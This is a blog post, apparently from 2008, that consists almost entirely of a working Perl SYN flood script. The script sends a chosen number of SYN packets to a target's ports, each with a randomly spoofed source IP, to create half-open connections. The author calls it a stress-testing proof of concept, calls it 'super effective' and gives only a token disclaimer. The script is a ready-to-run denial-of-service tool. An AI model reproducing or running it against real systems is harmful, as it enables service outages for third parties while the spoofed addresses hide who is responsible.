#!/usr/bin/perl -w
####
# this is a proof of concept syn flooder written in Perl.
# it's pretty straight forward. sends packets with the syn flag
# enabled, causing half open connections sent from random spoofed IP's.
#
# one addition is the ability to specify a list of ports, rather than just
# targeting a single port.
#
# don't use this for any malicious purposes.. it's strictly for stress
# testing routers/networks.
#
# - nwo 10/17/2007
####
require 'getopts.pl';
### need to utilize raw sockets.
use Net::RawIP;
Getopts('t:p:n:');
### function to create random IP's.
sub randip () {
$ip = join(".", map int rand 256, 1 .. 4);
return("$ip");
}
### set up the socket.
$syn = new Net::RawIP;
die "Usage: $0 -t (target) -p (port) -n (number of packets)\n"
unless ($opt_t && $opt_p && $opt_n);
### allow the user to specify a list of comma seperated ports via the command line.
@ports = split(/\,/, $opt_p);
$list = @ports;
### super awesome output.
print "Hitting $opt_t on port(s) @ports with $opt_n packets....\n";
### start the loop
for($i = 1;$i < $opt_n;$i++) {
### randomly select a port out of the @ports array
$nlist = int rand($list);
$dport = $ports[$nlist];
### set up the packet..
$syn->set({
ip => {
daddr => $opt_t,
saddr => &randip,
},
### specify the destination port and source port..
### make sure the syn flag is enabled.
tcp => {
dest => $dport,
source => $dport,
ack => 0,
urg => 0,
rst => 0,
fin => 0,
psh => 0,
syn => 1
}
});
### send the packet! yay!
$syn->send;
}
Showing posts with label perl dos syn flood proof of concept. Show all posts
Showing posts with label perl dos syn flood proof of concept. Show all posts
Saturday, April 26, 2008
SYN flooder
This is a pretty simple SYN flooder - spoofs source IP's and ports, super effective. I wrote this for stress testing services on my network.
Subscribe to:
Posts (Atom)